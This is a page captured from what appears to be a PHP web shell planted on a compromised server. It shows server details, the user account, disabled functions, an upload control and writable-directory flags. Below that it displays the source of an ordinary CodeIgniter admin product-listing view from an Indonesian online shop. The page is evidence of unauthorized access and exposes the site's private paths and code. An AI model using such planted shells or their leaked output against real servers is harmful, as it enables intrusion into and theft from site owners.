https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/views/admin/products/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/views/admin/products/index.php
<div class="row">
    <div class="col-sm-12">
         <p><a href="<?= base_url('admin/product_index'); ?>"><i class="fa fa-arrow-left" aria-hidden="true"></i> Kembali ke Produk</a></p>
        <h2>Produk</h2>
        <?= $this->session->flashdata('success'); ?> 
        <?= $this->session->flashdata('error'); ?> 
    </div>
</div> 

<div>
  <!-- Nav tabs -->
  <ul class="nav nav-tabs" role="tablist">
    <li role="presentation" class="active"><a aria-controls="search" href="#search" role="tab" data-toggle="tab">Cari Produk</a></li>
    <li role="presentation"><a href="#settings" aria-controls="settings" role="tab" data-toggle="tab">Upload Produk Excel</a>
</a></li>
  </ul>

  <!-- Tab panes -->
  <div class="tab-content">
     <div role="tabpanel" class="tab-pane active" id="search">
        <div class="row">
            <?= form_open('admin/products'); ?> 
            <div class="col-sm-5 col-xs-6"> 
                <input class="form-control" type="text" placeholder="Tulis Nama Produk..." name="product" required 
                <?php if (isset($keyword)) : ?>
                    value="<?= ucwords($keyword); ?>" 
                <?php endif; ?>>
            </div><!-- end class="col-sm-8" -->   

            <div class="col-sm-3 col-xs-6">
                <input class="btn btn-primary form-control" type="submit" name="search_product" value="CARI PRODUK">
            </div><!-- end class="col-sm-6" -->    
            <?= form_close(); ?> 
        </div> <!-- end row -->  

        <div class="row">
        
            <?= form_open('admin/products/search_category'); ?>
            <div class="col-sm-5 col-xs-6">
            <?php
                //get parent category id and name and parent from categories table
                $this->db->select('id_categories, category')->from('categories')->where('parent', NULL)->order_by('priority', 'ASC');
                $categories = $this->db->get()->result();
            ?>

            <select name="category" class="form-control">
                    <option value="">Pilih Kategori...</option>

                    <?php foreach ($categories as $category) : ?>
                        <option value="<?= $category->id_categories; ?>"
                            <?php if (isset($category_id)) : ?>
                                <?php if ($category->id_categories == $category_id) : ?>
                                    selected
                                <?php endif; ?>
                            <?php endif; ?>  
                        ><?= ucwords($category->category); ?></option>

                        <?php
                            //check if the current id does have child
                            $this->db->select('*')->from('categories')->where('parent', $category->id_categories);
                            $count_child_category = $this->db->get()->num_rows();
                        ?>

                        <?php if ($count_child_category > 0): ?>
                            <?php 
                                //get all existing child categories 
                                $this->db->select('id_categories, category')->from('categories')->where('parent', $category->id_categories)->order_by('priority', 'ASC');
                                $child_categories = $this->db->get()->result(); 
                            ?>   

                            <?php foreach ($child_categories as $child_category) : ?>
                                <option style="margin-left: 10px;"value="<?= $child_category->id_categories; ?>"
                                    <?php if (isset($category_id)) : ?>
                                        <?php if ($child_category->id_categories == $category_id) : ?>
                                            selected
                                        <?php endif; ?>
                                    <?php endif; ?>      
                                >- <?= ucwords($child_category->category); ?></option>

                                <?php
                                    //check if the current id does have child
                                    $this->db->select('*')->from('categories')->where('parent', $child_category->id_categories);
                                    $count_child2_category = $this->db->get()->num_rows();
                                ?>

                                <?php if ($count_child2_category > 0): ?>
                                    <?php 
                                        //get all existing child categories 
                                        $this->db->select('id_categories, category')->from('categories')->where('parent', $child_category->id_categories)->order_by('priority', 'ASC');
                                        $child2_categories = $this->db->get()->result(); 
                                    ?>  
                                    <?php foreach ($child2_categories as $child2_category) : ?>
                                        <option style="margin-left: 10px;"value="<?= $child2_category->id_categories; ?>"
                                        <?php if (isset($category_id)) : ?>
                                            <?php if ($child2_category->id_categories == $category_id) : ?>
                                                selected
                                            <?php endif; ?>
                                        <?php endif; ?>     
                                        >-- <?= ucwords($child2_category->category); ?></option>
                                    <?php endforeach; ?>

                                <?php endif ?>

                            <?php endforeach; ?>

                        <?php endif ?>

                    <?php endforeach; ?>

                </select> 
            </div><!-- end class="col-sm-5" -->   

            <div class="col-sm-3 col-xs-6">
            <input class="btn btn-primary form-control" type="submit" name="search_category" value="CARI KATEGORI">
            </div><!-- end class="col-sm-3" -->    
            <?= form_close(); ?> 
        </div> <!-- end row -->  

        <div class="row">
            <?= form_open('admin/products/search_brand'); ?>
            <div class="col-sm-5 col-xs-6">
                <select name="brand" class="form-control">
                    <?php
                        //get brands id and name from brandsa table
                        $this->db->select('id_brands, brand')->from('brands')->order_by('brand', 'ASC');
                        $brands = $this->db->get()->result();
                    ?>
                    <option value="">Pilih Merek...</option>
                    <?php foreach ($brands as $brand) : ?>
                        <?php if ($brand->id_brands != 0) : ?> 
                            <option value="<?= $brand->id_brands; ?>"
                            <?php if (isset($brand_id)) : ?>
                                <?php if ($brand->id_brands == $brand_id) : ?>
                                    elected
                                <?php endif; ?>
                            <?php endif; ?>
                            ><?= ucwords($brand->brand); ?></option>
                        <?php endif; ?>
                    <?php endforeach; ?>
                </select>
            </div>
            <div class="col-sm-3 col-xs-6">
                <input class="btn btn-primary form-control" type="submit" name="search_brand" value="CARI MEREK">
            </div><!-- end class="col-sm-6" -->    
            <?= form_close(); ?> 
        </div> <!-- end row -->  
    </div>


    <div role="tabpanel" class="tab-pane" id="settings">
        <div class="row" style="border:1px solid #ddd;">
            <div class="col-sm-12">
            <h3>Upload Produk Microsoft Excel</h3>
            <p>DOWNLOAD CONTOH FILE EXCEL <a target="_blank" style="color:brown; font-weight: bold;" href="https://www.tokodaku.com/store-shared/assets/frontend/product_import.xls">DISINI</a>. IKUTI PENGISIAN SESUAI CONTOH.</p>
            <p>Maksimal 50 item per file excel. Produk dengan Nama produk dan/atau SKU (Kode produk) yang sama akan diupdate. Produk dengan nama baru dan/atau SKU yang baru akan didaftarkan baru.</p>

            <?php
                $attributes = array(
                    'name' => 'uploadexcel',
                    'id' => 'uploadexcel'
                );
            ?>
            <?= form_open_multipart('admin/products/upload_products', $attributes); ?>
                <table>
                    <tr>
                    <td> ULPLOAD PRODUK EXCEL: </td>
                    <td>
                        <div class="form-group">
                            <input style="float:left; width:60%;" type="file" class="form-control" name="userfile" id="userfile"  align="center"/><input type="submit" name="upload_excel" class="btn btn-info" value="UPLOAD">
                        </div>
                    </td>
                </tr>
            </table>
            </form>
            <p>Note: Saat proses upload, mohon menunggu saampai proses selesai.</p>
            </div><!-- end class="col-sm-12" -->
            <?= form_close(); ?>
        </div> <!-- end row; -->
    </div>

  </div>
</div>

<div class="row">
    <div class="col-sm-12">
        <?php if (($membership_type=="starter" && $jml_produk <100) || ($membership_type=="business" && $jml_produk <500) || $membership_type=="enterprise" || $membership_type=="free trial") : ?>
            <p><?= anchor('admin/products/edit', '<i class="fa fa-plus" aria-hidden="true"></i> <strong>Buat Produk baru</strong>', array('class' => 'btn btn-primary')); ?></p> 
        <?php else : ?>
            <p style="color: red">Jumlah produk telah melebihi batas, silahkan upgrade.</p>
        <?php endif; ?>

    </div><!-- end class="col-sm-12" -->
</div> <!-- end row -->  

<div class="row">
    <div class="col-sm-12">

    <div class="table-responsive">    
    <?= form_open(base_url('admin/products/delete_all'),array('id'=>'frm_delete_all')); ?>
    <table class="table table-striped">
    <thead>
        <tr>
            <th style="text-align: center;">
                <button type="submit" id="delall_slc_checkbox" style="background: transparent;border: none;font-size: 23px;cursor: pointer;">
                    <i class="fa fa fa-trash-o"></i>
                </button>
                <input id="slcall_checkbox" type="checkbox">
            </th>
            <th>Nama Produk</th>
            <th>
                Urutan 
                <button style="font-weight: bold;" onclick="refreshDisplayPriority();" class="btn btn-sm btn-success" type="button">Ubah</button>
            </th>
            <th>Aktif?</th>
            <th>Edit</th>
            <th>Stok</th>
            <th>Foto Produk</th>
            <th>Preview</th>
            <th>Hapus</th>
        </tr>
    </thead>
    <tbody>
        <?php if(count($products)) : ?> 
        <?php foreach($products as $product): ?>
            <tr>
                <td style="text-align: center;">
                    <input class="checkbox_for_del" name="checkbox_for_del[]" value="<?= $product->id_products; ?>" type="checkbox">
                </td>
                <td><?= ucfirst($product->title); ?></td>
                <td>
                    <input data-id="<?= $product->id_products; ?>" class="inp_change_priority" type="text" style="border: 0;outline: 0;background: transparent;border-bottom: 1px solid gray; text-align: center; width: 40px;" value="<?= $product->priority; ?>">
                    
                </td>
                <td>
                <?php if ($product->product_status == 1) : ?>
 
                        <button onclick="exchangeStatusAct('tidak',<?= $product->id_products; ?>);" type="button" style="border:none; background: transparent;">
                            <span style="padding: 5px; border-radius: 5px; background: silver;">Ya</span>
                            <span style="padding: 5px; border-radius: 5px; ">Tidak</span>                           
                        </button>

                <?php else : ?>
                    
                        <button onclick="exchangeStatusAct('ya',<?= $product->id_products; ?>);" type="button" style="border:none; background: transparent;">
                            <span style="padding: 5px; border-radius: 5px; ">Ya</span>
                            <span style="padding: 5px; border-radius: 5px; background: silver;">Tidak</span>                           
                        </button>  

                <?php endif; ?>  
                </td>  
                <td><?= bt_edit('admin/products/edit/' . $product->id_products); ?></td>
                <td><a href="<?= base_url() . 'admin/stocks/get/' . $product->id_products; ?>"><i class="fa fa-file" aria-hidden="true"></i> Edit</td>
                <td><a href="<?= base_url('admin/products/product_images/' . $product->id_products); ?>"><i class="fa fa-file-image-o" aria-hidden="true"></i> Edit</a></td>
                <td><a href="<?= base_url() . 'product/' . $product->alias; ?>"><i class="fa fa-eye" aria-hidden="true"></i></a></td>
                <td><?= bt_delete('admin/products/delete/' . $product->id_products); ?></td>
            </tr> 
        <?php endforeach; ?>
        <?php else: ?>
            <tr>
            <td colspan="3">Produk tidak ditemukan.</td>
            </tr>
        <?php endif; ?>
    </tbody> 
    </table>
    <?= form_close(); ?>
    </div><!-- end class responsive-->

    </div><!-- end class="col-sm-12" -->
</div> <!-- end row -->  

<div class="row">
    <div class="col-sm-12">
        <?php if(isset($use_pagination)) : ?>
             <div style="text-align:center;"><?= $this->pagination->create_links(); ?></div>
        <?php endif; ?> 
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row --> 

<script>
    jQuery(document).ready(function($){
        $("form#frm_delete_all").submit(function(ev){
            ev.preventDefault();
            var csrfHash = '<?= $this->security->get_csrf_hash(); ?>';

            if(confirm('Are you sure?')==true){

                var input_check = $( "input[type='checkbox'].checkbox_for_del:checked" );

                var checkbox_del = [[]];

                $.each(input_check,function(idx,key){
                    checkbox_del[idx]=$(this).val();
                });

                $.ajax({
                    'url'  : "<?= base_url('admin/products/delete_all'); ?>",
                    'type' : 'POST',  
                    'dataType' :'json', 
                    'data' : {
                              'checkbox_del' : checkbox_del,   
                              'csrftestname' : csrfHash
                            }, 
                    'success'   : function(res) {
                        // console.log(res);
                        if (res.result == 'sukses') {
                            window.location.href="<?= base_url('admin/products'); ?>";
                        }
                    }
                });
            }
        });

        $("input#slcall_checkbox").click(function(){
            
            var input_check = $( "input[type='checkbox'].checkbox_for_del" );

            if($(this).is(':checked')){
                input_check.prop('checked',false); 
                input_check.prop('checked',true); 
            }else{
                input_check.prop('checked',false); 
            }

        });
    });

    function exchangeStatusAct(earlyStat,this_id){
        var toStat = '';
        var csrfHash = '<?= $this->security->get_csrf_hash(); ?>';

        if (earlyStat == 'ya') {
            toStat = 'Ya';
        }else{
            toStat = 'Tidak';
        }
        
        $.ajax({
            'url'  : "<?= base_url('admin/products/changeStatusAct'); ?>",
            'type' : 'POST',  
            'dataType' :'json', 
            'data' : {
                      'this_id' : this_id,
                      'toStat' : toStat,   
                      'csrftestname' : csrfHash
                    }, 
            'success'   : function(res) {
                if (res.res == 'sukses') {
                    // alert('Successfully');
                    location.reload();
                }
            }
        });
    }
    function refreshDisplayPriority(){
        /* if (confirm("Are you sure?")==true) { */
            var inp_change_priority = jQuery("input.inp_change_priority");
            var csrfHash = '<?= $this->security->get_csrf_hash(); ?>';
            var data = [[]];

            jQuery.each(inp_change_priority,function(idx,key){
                data[idx] = {
                    id : jQuery(this).data('id'),
                    val : jQuery(this).val(),
                };
            }); 
            
            $.ajax({
                'url'  : "<?= base_url('admin/products/refreshDisplayPriority'); ?>",
                'type' : 'POST',  
                'dataType' :'json', 
                'data' : {
                          'this_data' : data,   
                          'case_detail' : 'true',   
                          'csrftestname' : csrfHash
                        }, 
                'success'   : function(res) {
                    if (res.res == 'sukses') {
                        // console.log(res.data);
                        // alert('Successfully');
                        location.reload();
                    }
                }
            });
        }
    /* } */
</script>

https://t.me/RX1948 - 2025